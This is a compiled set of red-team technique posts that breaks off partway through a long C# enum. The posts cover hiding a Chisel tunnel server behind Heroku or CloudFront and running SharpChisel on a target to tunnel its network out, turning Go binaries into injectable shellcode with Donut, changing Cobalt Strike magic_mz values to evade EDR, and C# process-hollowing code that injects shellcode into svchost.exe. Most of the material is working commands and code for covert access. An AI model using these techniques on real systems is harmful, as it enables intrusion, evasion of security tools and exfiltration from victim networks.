Chisel’s pre-compiled binaries can be downloaded from [here](https://github.com/jpillora/chisel/releases). Once the binary is downloaded, the server component can be run on one of your redirector.

```
./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"
================================================================server : run the Server Component of chisel 
-p 8080 : run server on port 8080
--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
--auth "user:pass" : Creds required to connect to the server
--reverse:  Allow clients to specify reverse port forwarding remotes in addition to normal remotes.
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.
```

![Image for post](https://miro.medium.com/max/808/1*4QdNM49r1NU4RHACP5_6-g.png)

**Setting up CHISEL CDN: Hiding the Red Team Infrastructure**

Since Chisel works on WebSockets, we will require a CDN/Proxy which supports WebSockets. A few CDN which come to mind are **Heroku and Cloudfront**. There are a few more, and I will leave that as an exercise for the reader to find other ways to hide the Chisel Server. Let’s set up Heroku, followed by CloudFront

**Setting up Heroku as Proxy**

It’s quite simple to set up Heroku as a proxy. Open this repo <https://github.com/shantanu561993/heroku-reverse-proxy> and click the deploy button.

![Image for post](https://miro.medium.com/max/1255/1*LBZFEvDDtwlHrI7ZZ11mRw.png)

Enter the details as per following screenshot and click Deploy app.

![Image for post](https://miro.medium.com/max/845/1*VvZe15SR5S7Pgh2D2PIxag.png)

Your proxy will be created. An easy way to check if everything is working is to open \<yourappname>.herokuapp.com and check you are presented with your proxy domain set up in server config. In my case it was google.com.

![Image for post](https://miro.medium.com/max/1508/1*aIxT7oy7fCou0uafeHXiww.png)

Done.

**Setting up Cloudfront CDN**

Cloudfront by default supports WebSockets, so there is no extra config required.

To start, log in to your AWS account, and from the services menu, pick CloudFront. Click “Create Distribution” and select the “Web” option and then follow the screenshots.

![Image for post](https://miro.medium.com/max/664/0*EpkRVgZiBd9-lhW1.png)

![Image for post](https://miro.medium.com/max/915/1*5JjVJOERH04eRvja45LiQA.png)

![Image for post](https://miro.medium.com/max/813/1*WmdFGykvoq-3lWX4su6cbg.png)

![Image for post](https://miro.medium.com/max/918/1*AdnJnnTJMcsQEFC7jdgFag.png)

![Image for post](https://miro.medium.com/max/708/1*UrC7lE7SFs0MSy1RfmG9qg.png)

![Image for post](https://miro.medium.com/max/1960/1*GNz1vvxdgvyTqSXTndOzOA.png)

In 10 to 15 mins, your Cloudfront should be up and running. Opening the CloudFront URL will show the proxy domain. In my case as said previously, it was google.com

![Image for post](https://miro.medium.com/max/1155/1*iUrojhkAk1RkXLSJkwSPUw.png)

![Image for post](https://miro.medium.com/max/1213/1*YRgK3OOeXnRhG-hbK1y3qQ.png)

**Running SharpChisel on Target Network**

SharpChisel can be downloaded from <https://github.com/shantanu561993/SharpChisel>. Following commands will be able to tunnel the target network to your chisel server

```
SharpChisel.exe client --auth user:pass https://d15i3ejqu7j95x.cloudfront.net R:1080:socks
```

![Image for post](https://miro.medium.com/max/1374/1*6HQCqmOnJ3OtkXROjKhtpg.png)

Once the client is connected you will see a **Socks5** port open on the server

![Image for post](https://miro.medium.com/max/806/1*hFoOwrWLPyoXFkAbvtyMuA.png)

You can now **Local Port Forward this port (1080 in our case) to get access to the ex-filtrated network.**

**How to local port forward**

SSH / Putty or any SSH client can do port forwarding.

![Image for post](https://miro.medium.com/max/560/1*SVAH7M_MYNi1emLGXADpiQ.png)

![Image for post](https://miro.medium.com/max/993/1*n1bPv51fVCmfTUT_ODapag.png)

**Conclusion:** [SharpChisel](https://www.github.com/shantanu561993/SharpChisel) is a C# wrapper around Chisel which can be used to tunnel or better said “ex-filtrate” network access from the target network.

If you have any issues understanding or using this project, reach out to me on [Twitter](https://twitter.com/shantanukhande) or [LinkedIn](https://www.linkedin.com/in/shantanu561993)

**Credits**: Vincent Yiu, Chisel Dev Team, My Team and all others who continuously help me to improve and work tirelessly.


# Converting your GO bins to Shellcode and Using them in C\#

How to convert binaries compiled in golang to shellcode

With release of Go1.15 a new "buildmode" flag has been released. **-buildmode=pie**&#x20;

Lets do a simple demo of converting a go binary to shellcode and injecting it to other processes&#x20;

### Building Go Binary&#x20;

I am going to build a simple golang program which launches calc&#x20;

{% code title="calc.go" %}

```go
package main

import(
    "fmt"
    "os/exec"
)

func main(){    
    c := exec.Command("calc.exe")

    if err := c.Run(); err != nil { 
        fmt.Println("Error: ", err)
    }   
}
```

{% endcode %}

Now lets build the program. I am using Windows 10 amd64 machine. You may need to specify other parameters if you are cross compiling&#x20;

```bash
go build -buildmode=pie -o calc.exe calc.go
```

The command will generate a static binary **calc.exe.**&#x20;

### **Converting Binary to Shellcode**

Here we will use TheWover's [*Donut* ](https://github.com/TheWover/donut)to convert the calc.exe to shellcode. The command is quite simple&#x20;

```bash
donut.exe calc.exe -o calc.bin
```

### Using DonutTest&#x20;

[DonutTest ](https://github.com/TheWover/donut/tree/master/DonutTest)is a subproject of Donut repo. DonutTest provides a test harness to test your generated Shellcode.

To use our calc.bin inside donut test we need to convert it into base64&#x20;

```
[Convert]::ToBase64String([IO.File]::ReadAllBytes("./calc.bin")) | clip
```

Now paste the shellcode in DonutTest  and compile. Your program should run as expected and you should see a calc pop

```
DonutTest.exe <pid> 
```

### **Credits:**

<https://twitter.com/rkervell>


# ShellCode Injection


# magic\_mz\_x86 and magic\_mz\_x64

### Background

We'll this is going to be a very short blog post. magic\_mz\_x86 and magic\_mz\_x64 are two malleable profile values one can set in since cobalt strike 2.4.3 . I haven't seen anyone talk about it and what are the possible values. I have searched internet to find anyone using different set of values. No one has ever published this. So here, I'll publish some details about it.&#x20;

### Why Change these values?

magic\_mz\_x86 and magic\_mz\_x64 malleable options are available in "Stage" block of Cobaltstrike malleable profile. They are responsible to change the MZ PE header in the shellcode you generate from CobaltStrike (staged or stageless). There is basic information provided on cobaltstrike blog post on how to change these values. One can change these values by providing a set of 2 (for x64) or 4(for x86) assembly instructions. The condition for the assembly instructions is that the resultant should be a no operation. For eg&#x20;

```
inc eax
dec eax
```

Above instructions combined together result in a no operation&#x20;

### How to change values?

Default values as provided in the blog from cobalt strike are as follows&#x20;

![https://www.cobaltstrike.com/help-malleable-postex](/files/-MhSOPFc38WaQa6HQB80)

To change these values here is a generic approach

#### For x86 - magic\_mz\_x86

For x86 we have to write 4 instructions (resulting to NOP) to fill up MZRE space. You can use any 4 x86 instructions which can fill 4 byte space and result in a resultant NO-OPERATION . This is how MZRE is created

{% tabs %}
{% tab title="x86-orig.asm" %}

```
bits 32
section .text
global _start
 _start:
dec abp
pop edx
push edx
inc ebp
```

{% endtab %}
{% endtabs %}

So if you'll compile the above asm, and do a hexdump of this you'll see MZRE.&#x20;

![](/files/-Mhg5Ia8aFTSqM47zuSZ)

now to modify, change these 4 instructions to any instructions of 4 byte total length. For example&#x20;

{% tabs %}
{% tab title="x86-modif.asm" %}

```
bits 32
section .text
global _start
_start:
 dec eax
 inc eax
 dec ebx
 inc ebx
```

{% endtab %}
{% endtabs %}

![](/files/-Mhg62Mv_1Jinlbdf2Im)

As mentioned above , now you can change magic\_mz\_x86 to "H\@KC"&#x20;

#### For x64 - magic\_mz\_x64

Similarly, for x64, now you need two instructions to fill up the 4 byte space. You can use something&#x20;

{% tabs %}
{% tab title="x64-modif.asm" %}

```
bits 64
section .text
global _start
_start:
 pop r9
 push r9
```

{% endtab %}
{% endtabs %}

Compiling the same will result as following&#x20;

![](/files/-Mhg7edySlbxKWtue6j5)

Now AYAQ can be used as a value in magic\_mz\_x64

### What is the actual difference now

The difference is actually seen when you dump the stageless raw shellcode . You can see you MZ header change which helps evade EDR

With **Default** profile as below

&#x20;

![Profile with default magic\_mz values](/files/-Mhg8uPYs69XMUeyCIjy)

Following is the dump of stageless payload

![Exporting Raw shellcode of unmodified profile](/files/-Mhg9j7cYFSczQYdYo1O)

![Hexdump of Deafult stageless x86 shellcode](/files/-MhgB5vx2ThlZuJhxB0b)

![Hexdump of Deafult stageless x64 shellcode](/files/-MhgBnug2YLtIcySq6fI)

**Now if we change profile values to custom values you can see the difference**

![Changing default values of magic\_mz](/files/-MhgCSuEHwezsmQZj7V8)

![Exporting Raw Shellcode after modifying the profile](/files/-MhgCpgoxxvYofai8sEd)

![Hexdump of Modified stageless x64 shellcode](/files/-MhgDDsN3v_83CDTMmdq)

![Hexdump of Modified stageless x86 shellcode](/files/-MhgDU6tCM7c5FXUKjGt)

### Thanks&#x20;

Thanks to @[vysecurity ](https://twitter.com/vysecurity/)for guidance and motivation&#x20;

### References

<https://www.cobaltstrike.com/help-malleable-postex>


# Process Hollowing DInvoke

Process Howing and DInvoke

```
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;

namespace Hollow
{
    class Program
    {

        static void Main(string[] args)
        {

            IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "CreateProcessA");
            DELEGATES.CreateProcess CreateProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateProcess)) as DELEGATES.CreateProcess;
            
            pointer = Invoke.GetLibraryAddress("Ntdll.dll", "ZwQueryInformationProcess");
            DELEGATES.ZwQueryInformationProcess ZwQueryInformationProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ZwQueryInformationProcess)) as DELEGATES.ZwQueryInformationProcess;

            pointer = Invoke.GetLibraryAddress("kernel32.dll", "ReadProcessMemory");
            DELEGATES.ReadProcessMemory ReadProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ReadProcessMemory)) as DELEGATES.ReadProcessMemory;

            pointer = Invoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
            DELEGATES.WriteProcessMemory WriteProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory;

            pointer = Invoke.GetLibraryAddress("kernel32.dll", "ResumeThread");
            DELEGATES.ResumeThread ResumeThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ResumeThread)) as DELEGATES.ResumeThread;

            STRUCTS.STARTUPINFO si = new STRUCTS.STARTUPINFO();
            STRUCTS.PROCESS_INFORMATION pi = new STRUCTS.PROCESS_INFORMATION();
            STRUCTS.SECURITY_ATTRIBUTES lpa = new STRUCTS.SECURITY_ATTRIBUTES();
            STRUCTS.SECURITY_ATTRIBUTES lta = new STRUCTS.SECURITY_ATTRIBUTES();
            STRUCTS.PROCESS_BASIC_INFORMATION pbi = new STRUCTS.PROCESS_BASIC_INFORMATION();
            uint temp = 0;


            bool succ = CreateProcess(null, "C:\\windows\\system32\\svchost.exe", ref lpa, ref lta, false, STRUCTS.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
            if (succ)
            {
                Console.WriteLine("Process Created");
                Console.WriteLine("    |Process ID->" + pi.dwProcessId);
            }

            UInt32 success = ZwQueryInformationProcess(pi.hProcess, 0x0, ref pbi, (uint)(IntPtr.Size * 6), ref temp);

            IntPtr ptrToBaseImage = (IntPtr)((Int64)pbi.PebBaseAddress + 0x10);
            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nread = IntPtr.Zero;

            succ = ReadProcessMemory(pi.hProcess, ptrToBaseImage, addrBuf, addrBuf.Length, out nread);
            if (succ)
            {
                Console.WriteLine("Process Read");
            }
            IntPtr processBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

            byte[] data = new byte[0x200];
            ReadProcessMemory(pi.hProcess, processBase, data, data.Length, out nread);

            uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3c);
            uint opthdr = e_lfanew_offset + 0x28;
            uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
            IntPtr addressofentrypoint = (IntPtr)(entrypoint_rva+(UInt64)processBase);

            WriteProcessMemory(pi.hProcess, addressofentrypoint, buf(), buf().Length, out nread);
            ResumeThread(pi.hThread);
        }

        static byte[] buf()
        {
            byte[] sc = new byte[276] {
                        0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52 };
            return sc;
        }

       
    }

    public class DELEGATES
    {

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        //public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation);
        public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, ref STRUCTS.SECURITY_ATTRIBUTES lpProcessAttributes, ref STRUCTS.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate UInt32 ZwQueryInformationProcess(IntPtr hProcess, Int32 procInformationClass, ref STRUCTS.PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesRead);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);


        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate IntPtr OpenThread(STRUCTS.ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate Boolean VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate uint ResumeThread(IntPtr hThhread);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
    }

    public class STRUCTS
    {

        [Flags]
        public enum ProcessCreationFlags : uint
        {
            ZERO_FLAG = 0x00000000,
            CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
            CREATE_DEFAULT_ERROR_MODE = 0x04000000,
            CREATE_NEW_CONSOLE = 0x00000010,
            CREATE_NEW_PROCESS_GROUP = 0x00000200,
            CREATE_NO_WINDOW = 0x08000000,
            CREATE_PROTECTED_PROCESS = 0x00040000,
            CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
            CREATE_SEPARATE_WOW_VDM = 0x00001000,
            CREATE_SHARED_WOW_VDM = 0x00001000,
            CREATE_SUSPENDED = 0x00000004,
            CREATE_UNICODE_ENVIRONMENT = 0x00000400,
            DEBUG_ONLY_THIS_PROCESS = 0x00000002,
            DEBUG_PROCESS = 0x00000001,
            DETACHED_PROCESS = 0x00000008,
            EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
            INHERIT_PARENT_AFFINITY = 0x00010000
        }

        [Flags]
        public enum ThreadAccess : int
        {
            TERMINATE = (0x0001),
            SUSPEND_RESUME = (0x0002),
            GET_CONTEXT = (0x0008),
            SET_CONTEXT = (0x0010),
            SET_INFORMATION = (0x0020),
            QUERY_INFORMATION = (0x0040),
            SET_THREAD_TOKEN = (0x0080),
            IMPERSONATE = (0x0100),
            DIRECT_IMPERSONATION = (0x0200),
            THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
            THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
        }
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        public struct PROCESS_BASIC_INFORMATION
        {
            public STRUCTS.NTSTATUS ExitStatus;
            public IntPtr PebBaseAddress;
            public UIntPtr AffinityMask;
            public int BasePriority;
            public UIntPtr UniqueProcessId;
            public UIntPtr InheritedFromUniqueProcessId;
        }


        public struct SECURITY_ATTRIBUTES
        {
            public int nLength;
            public IntPtr lpSecurityDescriptor;
            public int bInheritHandle;
        }


        public struct STARTUPINFO
        {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct UNICODE_STRING
        {
            public UInt16 Length;
            public UInt16 MaximumLength;
            public IntPtr Buffer;
        }

        /// <summary>
        /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
        /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
        /// </summary>
        public enum NTSTATUS : uint
        {
            // Success
            Success = 0x00000000,
            Wait0 = 0x00000000,
            Wait1 = 0x00000001,
            Wait2 = 0x00000002,
            Wait3 = 0x00000003,
            Wait63 = 0x0000003f,
            Abandoned = 0x00000080,
            AbandonedWait0 = 0x00000080,
            AbandonedWait1 = 0x00000081,
            AbandonedWait2 = 0x00000082,
            AbandonedWait3 = 0x00000083,
            AbandonedWait63 = 0x000000bf,
            UserApc = 0x000000c0,
            KernelApc = 0x00000100,
            Alerted = 0x00000101,
            Timeout = 0x00000102,
            Pending = 0x00000103,
            Reparse = 0x00000104,
            MoreEntries = 0x00000105,
            NotAllAssigned = 0x00000106,
            SomeNotMapped = 0x00000107,
            OpLockBreakInProgress = 0x00000108,
            VolumeMounted = 0x00000109,
            RxActCommitted = 0x0000010a,
            NotifyCleanup = 0x0000010b,
            NotifyEnumDir = 0x0000010c,
            NoQuotasForAccount = 0x0000010d,
            PrimaryTransportConnectFailed = 0x0000010e,
            PageFaultTransition = 0x00000110,
            PageFaultDemandZero = 0x00000111,
            PageFaultCopyOnWrite = 0x00000112,
            PageFaultGuardPage = 0x00000113,
            PageFaultPagingFile = 0x00000114,
            CrashDump = 0x00000116,
            ReparseObject = 0x00000118,
            NothingToTerminate = 0x00000122,
            ProcessNotInJob = 0x00000123,
            ProcessInJob = 0x00000124,
            ProcessCloned = 0x00000129,
            FileLockedWithOnlyReaders = 0x0000012a,
            FileLockedWithWriters = 0x0000012b,

            // Informational
            Informational = 0x40000000,
            ObjectNameExists = 0x40000000,
            ThreadWasSuspended = 0x40000001,
            WorkingSetLimitRange = 0x40000002,
            ImageNotAtBase = 0x40000003,
            RegistryRecovered = 0x40000009,

            // Warning
            Warning = 0x80000000,
            GuardPageViolation = 0x80000001,
            DatatypeMisalignment = 0x80000002,
            Breakpoint = 0x80000003,
            SingleStep = 0x80000004,
            BufferOverflow = 0x80000005,
            NoMoreFiles = 0x80000006,
            HandlesClosed = 0x8000000a,
            PartialCopy = 0x8000000d,
            DeviceBusy = 0x80000011,
            InvalidEaName = 0x80000013,
            EaListInconsistent = 0x80000014,
            NoMoreEntries = 0x8000001a,
            LongJump = 0x80000026,
            DllMightBeInsecure = 0x8000002b,

            // Error
            Error = 0xc0000000,
            Unsuccessful = 0xc0000001,
            NotImplemented = 0xc0000002,
            InvalidInfoClass = 0xc0000003,
            InfoLengthMismatch = 0xc0000004,
            AccessViolation = 0xc0000005,
            InPageError = 0xc0000006,
            PagefileQuota = 0xc0000007,
            InvalidHandle = 0xc0000008,
            BadInitialStack = 0xc0000009,
            BadInitialPc = 0xc000000a,
            InvalidCid = 0xc000000b,
            TimerNotCanceled = 0xc000000c,
            InvalidParameter = 0xc000000d,
            NoSuchDevice = 0xc000000e,
            NoSuchFile = 0xc000000f,
            InvalidDeviceRequest = 0xc0000010,
            EndOfFile = 0xc0000011,
            WrongVolume = 0xc0000012,
            NoMediaInDevice = 0xc0000013,
            NoMemory = 0xc0000017,
            ConflictingAddresses = 0xc0000018,
            NotMappedView = 0xc0000019,
            UnableToFreeVm = 0xc000001a,
            UnableToDeleteSection = 0xc000001b,
            IllegalInstruction = 0xc000001d,
            AlreadyCommitted = 0xc0000021,
            AccessDenied = 0xc0000022,
            BufferTooSmall = 0xc0000023,
            ObjectTypeMismatch = 0xc0000024,
            NonContinuableException = 0xc0000025,
            BadStack = 0xc0000028,
            NotLocked = 0xc000002a,
            NotCommitted = 0xc000002d,
            InvalidParameterMix = 0xc0000030,
            ObjectNameInvalid = 0xc0000033,
            ObjectNameNotFound = 0xc0000034,
            ObjectNameCollision = 0xc0000035,
            ObjectPathInvalid = 0xc0000039,
            ObjectPathNotFound = 0xc000003a,
            ObjectPathSyntaxBad = 0xc000003b,
            DataOverrun = 0xc000003c,
            DataLate = 0xc000003d,
            DataError = 0xc000003e,
            CrcError = 0xc000003f,
            SectionTooBig = 0xc0000040,
            PortConnectionRefused = 0xc0000041,
            InvalidPortHandle = 0xc0000042,
            SharingViolation = 0xc0000043,
            QuotaExceeded = 0xc0000044,
            InvalidPageProtection = 0xc0000045,
            MutantNotOwned = 0xc0000046,
            SemaphoreLimitExceeded = 0xc0000047,
            PortAlreadySet = 0xc0000048,
            SectionNotImage = 0xc0000049,
            SuspendCountExceeded = 0xc000004a,
            ThreadIsTerminating = 0xc000004b,
            BadWorkingSetLimit = 0xc000004c,
            IncompatibleFileMap = 0xc000004d,
            SectionProtection = 0xc000004e,
            EasNotSupported = 0xc000004f,
            EaTooLarge = 0xc0000050,
            NonExistentEaEntry = 0xc0000051,
            NoEasOnFile = 0xc0000052,
            EaCorruptError = 0xc0000053,
            FileLockConflict = 0xc0000054,
            LockNotGranted = 0xc0000055,
            DeletePending = 0xc0000056,
            CtlFileNotSupported = 0xc0000057,
            UnknownRevision = 0xc0000058,
            RevisionMismatch = 0xc0000059,
            InvalidOwner = 0xc000005a,
            InvalidPrimaryGroup = 0xc000005b,
            NoImpersonationToken = 0xc000005c,
            CantDisableMandatory = 0xc000005d,
            NoLogonServers = 0xc000005e,
            NoSuchLogonSession = 0xc000005f,
            NoSuchPrivilege = 0xc0000060,
            PrivilegeNotHeld = 0xc0000061,
            InvalidAccountName = 0xc0000062,
            UserExists = 0xc0000063,
            NoSuchUser = 0xc0000064,
            GroupExists = 0xc0000065,
            NoSuchGroup = 0xc0000066,
            MemberInGroup = 0xc0000067,
            MemberNotInGroup = 0xc0000068,
            LastAdmin = 0xc0000069,
            WrongPassword = 0xc000006a,
            IllFormedPassword = 0xc000006b,
            PasswordRestriction = 0xc000006c,
            LogonFailure = 0xc000006d,
            AccountRestriction = 0xc000006e,
            InvalidLogonHours = 0xc000006f,
            InvalidWorkstation = 0xc0000070,
            PasswordExpired = 0xc0000071,
            AccountDisabled = 0xc0000072,
            NoneMapped = 0xc0000073,
            TooManyLuidsRequested = 0xc0000074,
            LuidsExhausted = 0xc0000075,
            InvalidSubAuthority = 0xc0000076,
            InvalidAcl = 0xc0000077,
            InvalidSid = 0xc0000078,
            InvalidSecurityDescr = 0xc0000079,
            ProcedureNotFound = 0xc000007a,
            InvalidImageFormat = 0xc000007b,
            NoToken = 0xc000007c,
            BadInheritanceAcl = 0xc000007d,
            RangeNotLocked = 0xc000007e,
            DiskFull = 0xc000007f,
            ServerDisabled = 0xc0000080,
            ServerNotDisabled = 0xc0000081,
            TooManyGuidsRequested = 0xc0000082,
            GuidsExhausted = 0xc0000083,
            InvalidIdAuthority = 0xc0000084,
            AgentsExhausted = 0xc0000085,
            InvalidVolumeLabel = 0xc0000086,
            SectionNotExtended = 0xc0000087,
            NotMappedData = 0xc0000088,
            ResourceDataNotFound = 0xc0000089,
            ResourceTypeNotFound = 0xc000008a,
            ResourceNameNotFound = 0xc000008b,
            ArrayBoundsExceeded = 0xc000008c,
            FloatDenormalOperand = 0xc000008d,
            FloatDivideByZero = 0xc000008e,
            FloatInexactResult = 0xc000008f,
            FloatInvalidOperation = 0xc0000090,
            FloatOverflow = 0xc0000091,
            FloatStackCheck = 0xc0000092,
            FloatUnderflow = 0xc0000093,
            IntegerDivideByZero = 0xc0000094,
            IntegerOverflow = 0xc0000095,
            PrivilegedInstruction = 0xc0000096,
            TooManyPagingFiles = 0xc0000097,
            FileInvalid = 0xc0000098,
            InsufficientResources = 0xc000009a,
            InstanceNotAvailable = 0xc00000ab,
            PipeNotAvailable = 0xc00000ac,
            InvalidPipeState = 0xc00000ad,
            PipeBusy = 0xc00000ae,
            IllegalFunction = 0xc00000af,
            PipeDisconnected = 0xc00000b0,
            PipeClosing = 0xc00000b1,
            PipeConnected = 0xc00000b2,
            PipeListening = 0xc00000b3,
            InvalidReadMode = 0xc00000b4,
            IoTimeout = 0xc00000b5,
            FileForcedClosed = 0xc00000b6,
            ProfilingNotStarted = 0xc00000b7,
            ProfilingNotStopped = 0xc00000b8,
            NotSameDevice = 0xc00000d4,
            FileRenamed = 0xc00000d5,
            CantWait = 0xc00000d8,
            PipeEmpty = 0xc00000d9,
            CantTerminateSelf = 0xc00000db,
            InternalError = 0xc00000e5,
            InvalidParameter1 = 0xc00000ef,
            InvalidParameter2 = 0xc00000f0,
            InvalidParameter3 = 0xc00000f1,
            InvalidParameter4 = 0xc00000f2,
            InvalidParameter5 = 0xc00000f3,
            InvalidParameter6 = 0xc00000f4,
            InvalidParameter7 = 0xc00000f5,
            InvalidParameter8 = 0xc00000f6,
            InvalidParameter9 = 0xc00000f7,
            InvalidParameter10 = 0xc00000f8,
            InvalidParameter11 = 0xc00000f9,
            InvalidParameter12 = 0xc00000fa,
            ProcessIsTerminating = 0xc000010a,
            MappedFileSizeZero = 0xc000011e,
            TooManyOpenedFiles = 0xc000011f,
            Cancelled = 0xc0000120,
            CannotDelete = 0xc0000121,
            InvalidComputerName = 0xc0000122,
            FileDeleted = 0xc0000123,
            SpecialAccount = 0xc0000124,
            SpecialGroup = 0xc0000125,
            SpecialUser = 0xc0000126,
            MembersPrimaryGroup = 0xc0000127,
            FileClosed = 0xc0000128,
            TooManyThreads = 0xc0000129,
            ThreadNotInProcess = 0xc000012a,
            TokenAlreadyInUse = 0xc000012b,
            PagefileQuotaExceeded = 0xc000012c,
            CommitmentLimit = 0xc000012d,
            InvalidImageLeFormat = 0xc000012e,
            InvalidImageNotMz = 0xc000012f,
            InvalidImageProtect = 0xc0000130,
            InvalidImageWin16 = 0xc0000131,
            LogonServer = 0xc0000132,
            DifferenceAtDc = 0xc0000133,
            SynchronizationRequired = 0xc0000134,
            DllNotFound = 0xc0000135,
            IoPrivilegeFailed = 0xc0000137,
            OrdinalNotFound = 0xc0000138,
            EntryPointNotFound = 0xc0000139,
            ControlCExit = 0xc000013a,
            InvalidAddress = 0xc0000141,
            PortNotSet = 0xc0000353,
            DebuggerInactive = 0xc0000354,
            CallbackBypass = 0xc0000503,
            PortClosed = 0xc0000700,
            MessageLost = 0xc0000701,
            InvalidMessage = 0xc0000702,
            RequestCanceled = 0xc0000703,
            RecursiveDispatch = 0xc0000704,
            LpcReceiveBufferExpected = 0xc0000705,
            LpcInvalidConnectionUsage = 0xc0000706,
            LpcRequestsNotAllowed = 0xc0000707,
            ResourceInUse = 0xc0000708,
            ProcessIsProtected = 0xc0000712,
            VolumeDirty = 0xc0000806,
            FileCheckedOut = 0xc0000901,
            CheckOutRequired = 0xc0000902,
            BadFileType = 0xc0000903,
            FileTooLarge = 0xc0000904,
            FormsAuthRequired = 0xc0000905,
            VirusInfected = 0xc0000906,
            VirusDeleted = 0xc0000907,
            TransactionalConflict = 0xc0190001,
            InvalidTransaction = 0xc0190002,
            TransactionNotActive = 0xc0190003,
            TmInitializationFailed = 0xc0190004,
            RmNotActive = 0xc0190005,
            RmMetadataCorrupt = 0xc0190006,
            TransactionNotJoined = 0xc0190007,
            DirectoryNotRm = 0xc0190008,
            CouldNotResizeLog = 0xc0190009,
            TransactionsUnsupportedRemote = 0xc019000a,
            LogResizeInvalidSize = 0xc019000b,
            RemoteFileVersionMismatch = 0xc019000c,
            CrmProtocolAlreadyExists = 0xc019000f,
            TransactionPropagationFailed = 0xc0190010,
            CrmProtocolNotFound = 0xc0190011,
            TransactionSuperiorExists = 0xc0190012,
            TransactionRequestNotValid = 0xc0190013,
            TransactionNotRequested = 0xc0190014,
            TransactionAlreadyAborted = 0xc0190015,
            TransactionAlreadyCommitted = 0xc0190016,
            TransactionInvalidMarshallBuffer = 0xc0190017,
            CurrentTransactionNotValid = 0xc0190018,
            LogGrowthFailed = 0xc0190019,
            ObjectNoLongerExists = 0xc0190021,
            StreamMiniversionNotFound = 0xc0190022,
            StreamMiniversionNotValid = 0xc0190023,
